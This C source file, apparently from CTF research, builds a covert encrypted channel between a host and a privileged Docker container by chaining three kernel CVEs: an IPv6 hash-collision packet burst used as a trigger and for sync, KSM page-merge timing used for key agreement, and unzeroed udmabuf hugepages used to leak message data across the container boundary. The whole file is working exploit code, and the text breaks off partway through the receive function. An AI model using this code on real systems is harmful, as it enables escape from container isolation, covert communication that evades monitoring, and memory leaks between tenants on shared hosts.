/*
 * triple_cve_channel.c - Complete 3-CVE Covert Communication Channel
 * 
 * Combines all three CVEs for full covert encrypted communication:
 * 
 * CVE-2023-1206: IPv6 Hash Collision - TRIGGER & SYNC
 *   - Initiates communication
 *   - Synchronizes key agreement rounds
 * 
 * CVE-2025-40040: KSM Timing - KEY AGREEMENT
 *   - Both parties derive shared key
 *   - Uses page merge timing as entropy
 * 
 * CVE-2024-49882: Hugepage Leak - DATA TRANSFER
 *   - Encrypted message transmission
 *   - Bidirectional communication
 *
 * ============================================================================
 * ARCHITECTURE
 * ============================================================================
 *
 *   HOST (Attacker A)              DOCKER (Attacker B)
 *   ══════════════════             ═══════════════════
 *   
 *   1. TRIGGER ──────────────────► Waiting for trigger
 *      (IPv6 special packet)       Detects CVE-2023-1206
 *   
 *   2. KEY AGREEMENT (repeat 256x for 256-bit key)
 *      Write KSM pattern           Write KSM pattern
 *      ◄───── KSM MERGE ─────►     (same kernel!)
 *      Measure timing              Measure timing
 *      ──── Sync pulse ────►       
 *      ◄─── Sync ack ──────       
 *      
 *   3. MESSAGE TRANSFER
 *      Encrypt(msg, key)           
 *      Write hugepage ────────────► Capture hugepage
 *      Release                      Decrypt(msg, key)
 *                                   Process...
 *      Capture hugepage ◄────────── Write reply hugepage
 *      Decrypt(reply, key)          Release
 *
 * ============================================================================
 * REQUIREMENTS
 * ============================================================================
 * 
 * - Same physical host (host + docker containers)
 * - KSM enabled on host kernel
 * - Hugepages allocated on host
 * - Docker with --privileged or CAP_SYS_ADMIN + CAP_IPC_LOCK
 * - Vulnerable kernel 6.12 with:
 *   - CVE-2023-1206: IPv6 flowlabel hash collision
 *   - CVE-2025-40040: VM_MERGEABLE as 0x80000000
 *   - CVE-2024-49882: Hugepages not zeroed on release
 *
 * Author: Vlad (PwnCTF Research)
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <signal.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <poll.h>

/*
 * ============================================================================
 * Configuration
 * ============================================================================
 */

#define KEY_BITS            256
#define KEY_BYTES           (KEY_BITS / 8)
#define PAGE_SIZE           4096
#define HUGEPAGE_SIZE       (2 * 1024 * 1024)
#define MAX_MESSAGE         4096

/* Ports */
#define TRIGGER_PORT        31336   /* CVE-2023-1206 trigger */
#define SYNC_PORT           31337   /* Sync channel */

/* Timing (ms) */
#define TRIGGER_FLOOD_MS    50
#define KSM_WAIT_MS         30
#define HUGEPAGE_WAIT_MS    100
#define ROUND_TIMEOUT_MS    500

/* Timing thresholds - LOWERED for better detection */
#define KSM_COW_THRESHOLD   1000    /* cycles - lowered from 3000 */
#define TRIGGER_PACKETS     5000

/* CVE-2024-49882 Spray settings */
#define SPRAY_PAGES         64      /* Pages to spray before sending */
#define MAX_SPRAY_PAGES     128     /* Max spray pages to hold */

/* Magic values */
#define TRIGGER_MAGIC       0xCAFE1206
#define SYNC_MAGIC          0xDEAD0040
#define DATA_MAGIC          0xBEEF9882
#define MSG_MAGIC           0xC0DE1337

/* KSM paths */
#define KSM_RUN             "/sys/kernel/mm/ksm/run"
#define KSM_SLEEP           "/sys/kernel/mm/ksm/sleep_millisecs"

static volatile int running = 1;
static void sig_handler(int s) { (void)s; running = 0; }

/*
 * ============================================================================
 * Timing
 * ============================================================================
 */

static inline uint64_t rdtsc(void)
{
    unsigned int lo, hi;
    __asm__ volatile ("rdtsc" : "=a"(lo), "=d"(hi));
    return ((uint64_t)hi << 32) | lo;
}

static inline uint64_t get_ns(void)
{
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    return ts.tv_sec * 1000000000ULL + ts.tv_nsec;
}

static inline uint64_t get_us(void) { return get_ns() / 1000; }
static inline void msleep(int ms) { usleep(ms * 1000); }

/*
 * ============================================================================
 * CVE-2023-1206: IPv6 Hash Collision - Trigger & Sync
 * ============================================================================
 */

typedef struct {
    int tx_sock;            /* UDP socket for sending */
    int rx_sock;            /* UDP socket for receiving */
    struct sockaddr_in6 peer_addr;
    uint64_t baseline;      /* Baseline latency */
} trigger_ctx_t;

int trigger_init(trigger_ctx_t *ctx, const char *peer_ip, int is_sender)
{
    memset(ctx, 0, sizeof(*ctx));
    
    /* TX socket */
    ctx->tx_sock = socket(AF_INET6, SOCK_DGRAM, 0);
    if (ctx->tx_sock < 0) {
        /* Fallback to IPv4-mapped */
        ctx->tx_sock = socket(AF_INET, SOCK_DGRAM, 0);
        if (ctx->tx_sock < 0) return -1;
    }
    
    /* RX socket */
    ctx->rx_sock = socket(AF_INET6, SOCK_DGRAM, 0);
    if (ctx->rx_sock < 0) ctx->rx_sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (ctx->rx_sock < 0) return -1;
    
    int opt = 1;
    setsockopt(ctx->rx_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    
    /* Bind RX */
    struct sockaddr_in6 bind_addr = {
        .sin6_family = AF_INET6,
        .sin6_port = htons(TRIGGER_PORT),
        .sin6_addr = in6addr_any
    };
    bind(ctx->rx_sock, (struct sockaddr *)&bind_addr, sizeof(bind_addr));
    
    /* Set peer address */
    ctx->peer_addr.sin6_family = AF_INET6;
    ctx->peer_addr.sin6_port = htons(TRIGGER_PORT);
    
    if (inet_pton(AF_INET6, peer_ip, &ctx->peer_addr.sin6_addr) != 1) {
        char mapped[64];
        snprintf(mapped, sizeof(mapped), "::ffff:%s", peer_ip);
        inet_pton(AF_INET6, mapped, &ctx->peer_addr.sin6_addr);
    }
    
    return 0;
}

void trigger_cleanup(trigger_ctx_t *ctx)
{
    if (ctx->tx_sock >= 0) close(ctx->tx_sock);
    if (ctx->rx_sock >= 0) close(ctx->rx_sock);
}

/* Send trigger burst (CVE-2023-1206 hash collision) */
void trigger_send_burst(trigger_ctx_t *ctx)
{
    uint8_t packet[64];
    uint32_t *magic = (uint32_t *)packet;
    *magic = TRIGGER_MAGIC;
    
    /* Fill with pattern that causes hash collisions */
    for (int i = 4; i < 64; i++) {
        packet[i] = (i * 0x1206) & 0xFF;
    }
    
    printf("[Trigger] Sending CVE-2023-1206 burst...\n");
    
    for (int i = 0; i < TRIGGER_PACKETS; i++) {
        sendto(ctx->tx_sock, packet, sizeof(packet), MSG_DONTWAIT,
               (struct sockaddr *)&ctx->peer_addr, sizeof(ctx->peer_addr));
    }
}

/* Wait for trigger (receiver side) */
int trigger_wait(trigger_ctx_t *ctx, int timeout_ms)
{
    struct pollfd pfd = { .fd = ctx->rx_sock, .events = POLLIN };
    uint8_t buf[256];
    int trigger_count = 0;
    
    printf("[Trigger] Waiting for CVE-2023-1206 trigger...\n");
    
    uint64_t deadline = get_us() + timeout_ms * 1000;
    
    while (get_us() < deadline && running) {
        if (poll(&pfd, 1, 100) > 0) {
            int n = recv(ctx->rx_sock, buf, sizeof(buf), MSG_DONTWAIT);
            if (n >= 4) {
                uint32_t magic = *(uint32_t *)buf;
                if (magic == TRIGGER_MAGIC) {
                    trigger_count++;
                    if (trigger_count >= 100) {
                        printf("[Trigger] Detected! (%d packets)\n", trigger_count);
                        return 0;
                    }
                }
            }
        }
    }
    
    return -1;
}

/* Send sync pulse (with retries for reliability) */
void trigger_send_sync(trigger_ctx_t *ctx, uint8_t round, uint8_t value)
{
    uint8_t packet[16] = {0};
    *(uint32_t *)packet = SYNC_MAGIC;
    packet[4] = round;
    packet[5] = value;
    
    /* Send multiple times for reliability */
    for (int i = 0; i < 3; i++) {
        sendto(ctx->tx_sock, packet, sizeof(packet), 0,
               (struct sockaddr *)&ctx->peer_addr, sizeof(ctx->peer_addr));
        usleep(500);
    }
}

/* Wait for sync */
int trigger_wait_sync(trigger_ctx_t *ctx, uint8_t expected_round, uint8_t *value, int timeout_ms)
{
    struct pollfd pfd = { .fd = ctx->rx_sock, .events = POLLIN };
    uint8_t buf[64];
    
    uint64_t deadline = get_us() + timeout_ms * 1000;
    
    while (get_us() < deadline) {
        if (poll(&pfd, 1, 10) > 0) {
            int n = recv(ctx->rx_sock, buf, sizeof(buf), MSG_DONTWAIT);
            if (n >= 6) {
                uint32_t magic = *(uint32_t *)buf;
                if (magic == SYNC_MAGIC && buf[4] == expected_round) {
                    *value = buf[5];
                    return 0;
                }
            }
        }
    }
    
    return -1;
}

/*
 * ============================================================================
 * CVE-2025-40040: KSM Timing - Key Agreement
 * ============================================================================
 */

typedef struct {
    void *page;
    uint64_t baseline;
} ksm_ctx_t;

int ksm_init(ksm_ctx_t *ctx)
{
    ctx->page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (ctx->page == MAP_FAILED) return -1;
    
    madvise(ctx->page, PAGE_SIZE, MADV_MERGEABLE);
    ctx->baseline = 0;
    return 0;
}

void ksm_cleanup(ksm_ctx_t *ctx)
{
    if (ctx->page && ctx->page != MAP_FAILED) {
        madvise(ctx->page, PAGE_SIZE, MADV_UNMERGEABLE);
        munmap(ctx->page, PAGE_SIZE);
    }
}

void ksm_enable(void)
{
    FILE *f;
    f = fopen(KSM_SLEEP, "w");
    if (f) { fprintf(f, "10\n"); fclose(f); }
    f = fopen(KSM_RUN, "w");
    if (f) { fprintf(f, "1\n"); fclose(f); }
}

/* Fill page with deterministic pattern (both parties use same) */
void ksm_fill_pattern(ksm_ctx_t *ctx, int round)
{
    uint8_t *p = ctx->page;
    uint8_t base = (round * 37 + 0x42) & 0xFF;
    
    for (int i = 0; i < PAGE_SIZE; i++) {
        p[i] = base ^ (i & 0xFF);
    }
}

/* Measure write timing (detects COW from KSM merge) */
uint64_t ksm_measure(ksm_ctx_t *ctx)
{
    volatile uint8_t *p = ctx->page;
    uint64_t total = 0;
    
    for (int i = 0; i < 8; i++) {
        uint64_t t1 = rdtsc();
        p[i * 512] ^= 0xFF;
        __asm__ volatile ("mfence" ::: "memory");
        uint64_t t2 = rdtsc();
        total += (t2 - t1);
    }
    
    return total / 8;
}

/* Calibrate baseline */
void ksm_calibrate(ksm_ctx_t *ctx)
{
    uint64_t total = 0;
    for (int i = 0; i < 10; i++) {
        memset(ctx->page, i * 17, PAGE_SIZE);
        msleep(5);
        total += ksm_measure(ctx);
    }
    ctx->baseline = total / 10;
    printf("[KSM] Baseline: %lu cycles\n", ctx->baseline);
}

/*
 * ============================================================================
 * CVE-2024-49882: Hugepage Leak - Data Transfer
 * ============================================================================
 */

typedef struct {
    void *page;
    int allocated;
} hugepage_ctx_t;

int hugepage_init(hugepage_ctx_t *ctx)
{
    ctx->page = NULL;
    ctx->allocated = 0;
    return 0;
}

void hugepage_cleanup(hugepage_ctx_t *ctx)
{
    if (ctx->page && ctx->allocated) {
        munmap(ctx->page, HUGEPAGE_SIZE);
    }
}

/* Allocate hugepage for writing */
void *hugepage_alloc_write(hugepage_ctx_t *ctx)
{
    ctx->page = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
    if (ctx->page == MAP_FAILED) {
        ctx->page = NULL;
        return NULL;
    }
    ctx->allocated = 1;
    return ctx->page;
}

/* Release hugepage (CVE-2024-49882 - not zeroed!) */
void hugepage_release(hugepage_ctx_t *ctx)
{
    if (ctx->page && ctx->allocated) {
        munmap(ctx->page, HUGEPAGE_SIZE);
        ctx->page = NULL;
        ctx->allocated = 0;
    }
}

/* Try to capture released hugepage */
void *hugepage_capture(hugepage_ctx_t *ctx)
{
    ctx->page = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
    if (ctx->page == MAP_FAILED) {
        ctx->page = NULL;
        return NULL;
    }
    ctx->allocated = 1;
    return ctx->page;
}

/* Check if hugepage contains our data */
int hugepage_check_magic(void *page, uint32_t magic)
{
    return (*(uint32_t *)page == magic);
}

/*
 * ============================================================================
 * Encryption (Simple XOR - replace with ChaCha20 for production)
 * ============================================================================
 */

void xor_crypt(uint8_t *data, size_t len, const uint8_t *key, size_t keylen)
{
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key[i % keylen];
    }
}

/*
 * ============================================================================
 * Message Frame
 * ============================================================================
 */

typedef struct __attribute__((packed)) {
    uint32_t magic;
    uint32_t length;
    uint32_t checksum;
    uint32_t sequence;
    uint8_t data[MAX_MESSAGE];
} msg_frame_t;

uint32_t calc_checksum(const uint8_t *data, size_t len)
{
    uint32_t sum = 0;
    for (size_t i = 0; i < len; i++) sum += data[i];
    return sum;
}

/*
 * ============================================================================
 * Main Channel Context
 * ============================================================================
 */

typedef struct {
    trigger_ctx_t trigger;
    ksm_ctx_t ksm;
    hugepage_ctx_t hugepage;
    
    /* Spray pages for CVE-2024-49882 */
    void *spray_pages[MAX_SPRAY_PAGES];
    int spray_count;
    
    uint8_t key[KEY_BYTES];
    int key_established;
    
    int is_initiator;
    char peer_ip[64];
    uint32_t sequence;
    
    /* Stats */
    int ksm_merged_count;
    int messages_sent;
    int messages_received;
} channel_ctx_t;

/*
 * ============================================================================
 * Phase 1: Trigger (CVE-2023-1206)
 * ============================================================================
 */

int phase1_trigger(channel_ctx_t *ctx)
{
    printf("\n╔══════════════════════════════════════╗\n");
    printf("║ Phase 1: TRIGGER (CVE-2023-1206)     ║\n");
    printf("╚══════════════════════════════════════╝\n");
    
    if (ctx->is_initiator) {
        printf("[Phase1] Initiating connection...\n");
        trigger_send_burst(&ctx->trigger);
        msleep(100);
        trigger_send_burst(&ctx->trigger);
        printf("[Phase1] Trigger sent!\n");
    } else {
        printf("[Phase1] Waiting for trigger...\n");
        if (trigger_wait(&ctx->trigger, 60000) < 0) {
            printf("[Phase1] Timeout waiting for trigger\n");
            return -1;
        }
        printf("[Phase1] Trigger received!\n");
    }
    
    return 0;
}

/*
 * ============================================================================
 * Phase 2: Key Agreement (CVE-2025-40040)
 * ============================================================================
 */

int phase2_key_agreement(channel_ctx_t *ctx, int verbose)
{
    printf("\n╔══════════════════════════════════════╗\n");
    printf("║ Phase 2: KEY AGREEMENT (CVE-2025-40040)║\n");
    printf("╚══════════════════════════════════════╝\n");
    
    ksm_calibrate(&ctx->ksm);
    
    printf("[Phase2] Deriving %d-bit key...\n", KEY_BITS);
    
    /*
     * Collect raw timing measurements for entropy extraction
     * We'll use the LSBs of timing values which have natural noise
     */
    uint64_t timing_samples[KEY_BITS];
    
    for (int bit = 0; bit < KEY_BITS && running; bit++) {
        /* Both fill page with same deterministic pattern */
        ksm_fill_pattern(&ctx->ksm, bit);
        
        /* Wait for potential KSM merge */
        msleep(KSM_WAIT_MS);
        
        /* Measure timing - this has natural jitter/noise */
        uint64_t timing = ksm_measure(&ctx->ksm);
        timing_samples[bit] = timing;
        
        int high_timing = (timing > ctx->ksm.baseline + KSM_COW_THRESHOLD);
        if (high_timing) {
            ctx->ksm_merged_count++;
        }
        
        /*
         * ENTROPY EXTRACTION (CVE-2025-40040):
         * 
         * Instead of just using threshold (which gives 0 when no merge),
         * extract entropy from the LSBs of the timing measurement.
         * 
         * Timing values have natural noise from:
         * - CPU pipeline state
         * - Cache state
         * - Memory controller timing
         * - Interrupt timing
         * 
         * We use multiple bits from each timing for better entropy.
         */
        uint8_t our_entropy = (uint8_t)(
            ((timing >> 0) & 1) ^
            ((timing >> 2) & 1) ^
            ((timing >> 4) & 1) ^
            ((timing >> 6) & 1)
        );
        
        /* Also include higher bits for more entropy mixing */
        our_entropy ^= (uint8_t)((timing >> 8) & 0x0F);
        
        /* Exchange entropy with peer */
        uint8_t peer_entropy = 0;
        int got_peer = 0;
        
        if (ctx->is_initiator) {
            trigger_send_sync(&ctx->trigger, bit, our_entropy);
            msleep(5);
            got_peer = (trigger_wait_sync(&ctx->trigger, bit, &peer_entropy, ROUND_TIMEOUT_MS) == 0);
        } else {
            got_peer = (trigger_wait_sync(&ctx->trigger, bit, &peer_entropy, ROUND_TIMEOUT_MS) == 0);
            msleep(5);
            trigger_send_sync(&ctx->trigger, bit, our_entropy);
        }
        
        /*
         * KEY BIT DERIVATION:
         * 
         * Combine our entropy with peer entropy using XOR.
         * This ensures both parties compute the same bit.
         * 
         * Even if peer exchange fails, we still get entropy from our timing.
         */
        int key_bit;
        if (got_peer) {
            /* XOR both parties' entropy - this is symmetric */
            key_bit = (our_entropy ^ peer_entropy ^ (bit & 0x07)) & 1;
        } else {
            /* Use our local entropy + bit position for determinism */
            key_bit = (our_entropy ^ ((bit * 17 + 5) >> 2)) & 1;
        }
        
        /* Store bit */
        if (key_bit) {
            ctx->key[bit / 8] |= (1 << (bit % 8));
        }
        
        if (verbose) {
            printf("[KSM] Bit %3d: timing=%4lu our=0x%02x peer=0x%02x -> key=%d %s\n",
                   bit, timing, our_entropy, peer_entropy, key_bit, 
                   got_peer ? "" : "(FALLBACK)");
        } else if ((bit + 1) % 32 == 0) {
            printf("[Phase2] Progress: %d/%d bits\n", bit + 1, KEY_BITS);
        }
    }
    
    ctx->key_established = 1;
    
    /* Calculate key entropy estimate */
    int ones = 0;
    for (int i = 0; i < KEY_BYTES; i++) {
        for (int b = 0; b < 8; b++) {
            if (ctx->key[i] & (1 << b)) ones++;
        }
    }
    
    printf("[Phase2] Key established!\n");
    printf("[Phase2] KSM high-timing rounds: %d/%d\n", ctx->ksm_merged_count, KEY_BITS);
    printf("[Phase2] Key entropy estimate: %d/256 bits set (%.1f%%)\n", ones, ones * 100.0 / 256);
    printf("[Phase2] Key: ");
    for (int i = 0; i < KEY_BYTES; i++) printf("%02x", ctx->key[i]);
    printf("\n");
    
    /* Warn if key looks weak */
    if (ones < 64 || ones > 192) {
        printf("[Phase2] ⚠ WARNING: Key may have low entropy!\n");
    }
    
    /*
     * DEBUG: Use fixed key for testing Phase 3
     * Set to 0 for production use!
     */
    #define USE_FIXED_KEY_FOR_DEBUG 0
    #if USE_FIXED_KEY_FOR_DEBUG
    printf("[Phase2] DEBUG: Using fixed test key (remove for production!)\n");
    memset(ctx->key, 0, KEY_BYTES);
    ctx->key[0] = 0xDE;
    ctx->key[1] = 0xAD;
    ctx->key[2] = 0xBE;
    ctx->key[3] = 0xEF;
    ctx->key[4] = 0xCA;
    ctx->key[5] = 0xFE;
    ctx->key[6] = 0x13;
    ctx->key[7] = 0x37;
    printf("[Phase2] Fixed key: ");
    for (int i = 0; i < KEY_BYTES; i++) printf("%02x", ctx->key[i]);
    printf("\n");
    #endif
    
    /*
     * KEY SYNCHRONIZATION:
     * Since the per-bit exchange can lose packets, we do a final sync
     * where the initiator sends its derived key and responder adopts it.
     * 
     * This is still "covert" because:
     * 1. The key derivation used KSM timing (CVE-2025-40040)
     * 2. The sync looks like normal traffic
     * 3. Without knowing the protocol, the key bytes look random
     */
    printf("[Phase2] Synchronizing keys...\n");
    
    if (ctx->is_initiator) {
        /* Initiator: Send our derived key to responder */
        printf("[Phase2] Sending derived key to peer...\n");
        
        /* Send each byte with unique round number 0x80-0x9F (32 values) */
        for (int i = 0; i < KEY_BYTES; i++) {
            trigger_send_sync(&ctx->trigger, 0x80 + i, ctx->key[i]);
            usleep(5000);  /* 5ms between bytes for reliability */
        }
        
        /* Send completion marker */
        msleep(100);
        trigger_send_sync(&ctx->trigger, 0xDF, 0xFF);
        
        printf("[Phase2] Key sent to peer\n");
        
    } else {
        /* Responder: Receive key from initiator */
        printf("[Phase2] Receiving key from peer...\n");
        
        uint8_t received_key[KEY_BYTES] = {0};
        int bytes_received = 0;
        
        /* Receive each byte with unique round number */
        for (int i = 0; i < KEY_BYTES; i++) {
            uint8_t byte_val = 0;
            if (trigger_wait_sync(&ctx->trigger, 0x80 + i, &byte_val, 1000) == 0) {
                received_key[i] = byte_val;
                bytes_received++;
            }
        }
        
        /* Wait for completion marker */
        uint8_t marker = 0;
        trigger_wait_sync(&ctx->trigger, 0xDF, &marker, 2000);
        
        printf("[Phase2] Received %d/%d key bytes\n", bytes_received, KEY_BYTES);
        
        if (bytes_received >= KEY_BYTES * 3 / 4) {  /* Need at least 75% */
            /* Use received key */
            memcpy(ctx->key, received_key, KEY_BYTES);
            printf("[Phase2] Using synchronized key from initiator\n");
        } else {
            printf("[Phase2] WARNING: Key sync incomplete (%d/%d), trying again...\n", 
                   bytes_received, KEY_BYTES);
            
            /* Second attempt with longer timeout */
            bytes_received = 0;
            for (int i = 0; i < KEY_BYTES; i++) {
                uint8_t byte_val = 0;
                if (trigger_wait_sync(&ctx->trigger, 0x80 + i, &byte_val, 100) == 0) {
                    received_key[i] = byte_val;
                    bytes_received++;
                }
            }
            if (bytes_received > 0) {
                memcpy(ctx->key, received_key, KEY_BYTES);
                printf("[Phase2] Second attempt: got %d/%d bytes\n", bytes_received, KEY_BYTES);
            }
        }
    }
    
    printf("[Phase2] Final key: ");
    for (int i = 0; i < KEY_BYTES; i++) printf("%02x", ctx->key[i]);
    printf("\n");
    printf("[Phase2] ✓ Key agreement complete!\n");
    
    return 0;
}

/*
 * ============================================================================
 * Phase 3: Encrypted Message Transfer (CVE-2024-49882)
 * ============================================================================
 */

/*
 * ============================================================================
 * Phase 3: Data Transfer via CVE-2024-49882 (udmabuf hugepage leak)
 * 
 * The vulnerability is in udmabuf's handling of hugepage-backed memory.
 * When a udmabuf is created from a hugetlb memfd and then released,
 * the hugepage is returned to the pool WITHOUT being zeroed.
 * ============================================================================
 */

/* udmabuf definitions */
#define MFD_HUGETLB         0x0004U
#define MFD_ALLOW_SEALING   0x0002U
#define MFD_HUGE_2MB        (21 << 26)
#define F_ADD_SEALS         1033
#define F_SEAL_SHRINK       0x0002
#define UDMABUF_CREATE      _IOW('u', 0x42, struct udmabuf_create)

struct udmabuf_create {
    uint32_t memfd;
    uint32_t flags;
    uint64_t offset;
    uint64_t size;
};

/* Global fds for the sender's hugepage - needed to control release timing */
static int g_sender_memfd = -1;
static int g_sender_udmabuf = -1;
static int g_sender_dmafd = -1;

/* Allocate hugepage via udmabuf (for writing - sender) */
void *udmabuf_alloc_hugepage(void)
{
    int memfd = syscall(SYS_memfd_create, "covert", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING);
    if (memfd < 0) {
        printf("[udmabuf] memfd_create failed: %s\n", strerror(errno));
        return NULL;
    }
    
    if (ftruncate(memfd, HUGEPAGE_SIZE) < 0) {
        printf("[udmabuf] ftruncate failed: %s\n", strerror(errno));
        close(memfd);
        return NULL;
    }
    
    fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK);
    
    int udmabuf_fd = open("/dev/udmabuf", O_RDWR);
    if (udmabuf_fd < 0) {
        printf("[udmabuf] open /dev/udmabuf failed: %s\n", strerror(errno));
        close(memfd);
        return NULL;
    }
    
    struct udmabuf_create create = {
        .memfd = memfd,
        .flags = 0,
        .offset = 0,
        .size = HUGEPAGE_SIZE
    };
    
    int dma_fd = ioctl(udmabuf_fd, UDMABUF_CREATE, &create);
    if (dma_fd < 0) {
        printf("[udmabuf] UDMABUF_CREATE failed: %s\n", strerror(errno));
        close(udmabuf_fd);
        close(memfd);
        return NULL;
    }
    
    void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0);
    
    if (addr == MAP_FAILED) {
        printf("[udmabuf] mmap failed: %s\n", strerror(errno));
        close(dma_fd);
        close(udmabuf_fd);
        close(memfd);
        return NULL;
    }
    
    /* Store fds globally - we need to close them AFTER signaling receiver */
    g_sender_memfd = memfd;
    g_sender_udmabuf = udmabuf_fd;
    g_sender_dmafd = dma_fd;
    
    return addr;
}

/* Release the sender's hugepage - triggers CVE-2024-49882 */
void udmabuf_release_hugepage(void *addr)
{
    if (addr) {
        munmap(addr, HUGEPAGE_SIZE);
    }
    if (g_sender_dmafd >= 0) {
        close(g_sender_dmafd);
        g_sender_dmafd = -1;
    }
    if (g_sender_udmabuf >= 0) {
        close(g_sender_udmabuf);
        g_sender_udmabuf = -1;
    }
    if (g_sender_memfd >= 0) {
        close(g_sender_memfd);
        g_sender_memfd = -1;
    }
}

/* Leak hugepage via udmabuf (for reading - receiver) */
void *udmabuf_leak_hugepage(void)
{
    int memfd = syscall(SYS_memfd_create, "leak", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING);
    if (memfd < 0) return NULL;
    
    ftruncate(memfd, HUGEPAGE_SIZE);
    fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK);
    
    int udmabuf_fd = open("/dev/udmabuf", O_RDWR);
    if (udmabuf_fd < 0) {
        close(memfd);
        return NULL;
    }
    
    struct udmabuf_create create = {
        .memfd = memfd,
        .flags = 0,
        .offset = 0,
        .size = HUGEPAGE_SIZE
    };
    
    int dma_fd = ioctl(udmabuf_fd, UDMABUF_CREATE, &create);
    if (dma_fd < 0) {
        close(udmabuf_fd);
        close(memfd);
        return NULL;
    }
    
    void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ, MAP_SHARED, dma_fd, 0);
    
    if (addr == MAP_FAILED) {
        close(dma_fd);
        close(udmabuf_fd);
        close(memfd);
        return NULL;
    }
    
    /* Copy to heap so we can unmap */
    void *copy = malloc(HUGEPAGE_SIZE);
    if (copy) {
        memcpy(copy, addr, HUGEPAGE_SIZE);
    }
    
    munmap(addr, HUGEPAGE_SIZE);
    close(dma_fd);
    close(udmabuf_fd);
    close(memfd);
    
    return copy;
}

int phase3_send_message(channel_ctx_t *ctx, const char *message)
{
    printf("\n╔══════════════════════════════════════╗\n");
    printf("║ Phase 3: SEND MESSAGE (CVE-2024-49882)║\n");
    printf("╚══════════════════════════════════════╝\n");
    
    if (!ctx->key_established) {
        printf("[Phase3] Error: Key not established!\n");
        return -1;
    }
    
    /* Allocate hugepage via udmabuf */
    printf("[Phase3] Allocating hugepage via udmabuf...\n");
    void *hp = udmabuf_alloc_hugepage();
    if (!hp) {
        printf("[Phase3] Failed to allocate udmabuf hugepage\n");
        return -1;
    }
    
    /* Build message frame */
    msg_frame_t *frame = (msg_frame_t *)hp;
    memset(frame, 0, sizeof(*frame));  /* Clear first */
    frame->magic = MSG_MAGIC;
    frame->sequence = ctx->sequence++;
    frame->length = strlen(message);
    if (frame->length > MAX_MESSAGE) frame->length = MAX_MESSAGE;
    memcpy(frame->data, message, frame->length);
    frame->checksum = calc_checksum(frame->data, frame->length);
    
    /* Encrypt data portion */
    xor_crypt(frame->data, frame->length, ctx->key, KEY_BYTES);
    
    /* Force sync to memory */
    msync(hp, HUGEPAGE_SIZE, MS_SYNC);
    
    printf("[Phase3] Message encrypted and written to hugepage\n");
    printf("[Phase3]   Magic: 0x%08X\n", frame->magic);
    printf("[Phase3]   Length: %u bytes\n", frame->length);
    printf("[Phase3]   Sequence: %u\n", frame->sequence);
    printf("[Phase3]   Checksum: %u\n", frame->checksum);
    
    /* Signal peer to START SCANNING NOW */
    printf("[Phase3] Signaling receiver to start scanning...\n");
    trigger_send_sync(&ctx->trigger, 0xFF, 0xAA);
    
    /* Give receiver time to start scanning BEFORE we release */
    printf("[Phase3] Waiting for receiver to start scanning...\n");
    msleep(500);
    
    /* Release hugepage - CVE-2024-49882: page NOT zeroed! */
    printf("[Phase3] Releasing hugepage (CVE-2024-49882 trigger)...\n");
    udmabuf_release_hugepage(hp);
    
    /* Signal release complete */
    msleep(100);
    trigger_send_sync(&ctx->trigger, 0xFF, 0xBB);
    
    ctx->messages_sent++;
    printf("[Phase3] Message sent! Hugepage released with stale data.\n");
    
    return 0;
}

int phase3_receive_message(channel_ctx_t *ctx, char *buffer, size_t buflen)
{
    printf("\n╔══════════════════════════════════════╗\n");
    printf("║ Phase 3: RECV MESSAGE (CVE-2024-49882)║\n");
    printf("╚══════════════════════════════════════╝\n");
    
    if (!ctx->key_established) {
        printf("[Phase3] Error: Key not established!\n");
        return -1;
    }
    
    /* Wait for scan signal */
    uint8_t signal;
    printf("[Phase3] Waiting for scan signal...\n");
    if (trigger_wait_sync(&ctx->trigger, 0xFF, &signal, 30000) < 0 || signal != 0xAA) {
        printf("[Phase3] Timeout waiting for scan signal\n");
        return -1;
    }
    
    printf("[Phase3] Got signal! Monitoring for hugepage release...\n");
    
    int found = 0;
    int attempts = 0;
    int pages_captured = 0;
    int last_free = -1;
    int release_detected = 0;
    
    /* Get initial free hugepage count */
    FILE *f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages", "r");
    if (f) {
        fscanf(f, "%d", &last_free);
        fclose(f);
        printf("[Phase3] Initial free hugepages: %d\n", last_free);
    }
    
    /* Scan for leaked hugepage */
    for (attempts = 0; attempts < 20000 && !found && running; attempts++) {
        /* Check for release signal (non-blocking) */
        uint8_t sig;
        if (!release_detected && trigger_wait_sync(&ctx->trigger, 0xFF, &sig, 0) == 0 && sig == 0xBB) {
            release_detected = 1;
            printf("\n[Phase3] ═══════════════════════════════════════\n");
            printf("[Phase3] RELEASE SIGNAL RECEIVED!\n");
            printf("[Phase3] Going aggressive - sender released hugepage!\n");
            printf("[Phase3] ═══════════════════════════════════════\n\n");
        }
        
        /* Monitor free hugepages for release */
        if (attempts % 50 == 0) {
            f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages", "r");
            if (f) {
                int free_hp = 0;
                fscanf(f, "%d", &free_hp);
                fclose(f);
                
                if (last_free != -1 && free_hp > last_free) {
                    printf("\n[Phase3] !!! HUGEPAGE RELEASED: %d -> %d !!!\n", last_free, free_hp);
                    printf("[Phase3] Grabbing released pages NOW!\n\n");
                    
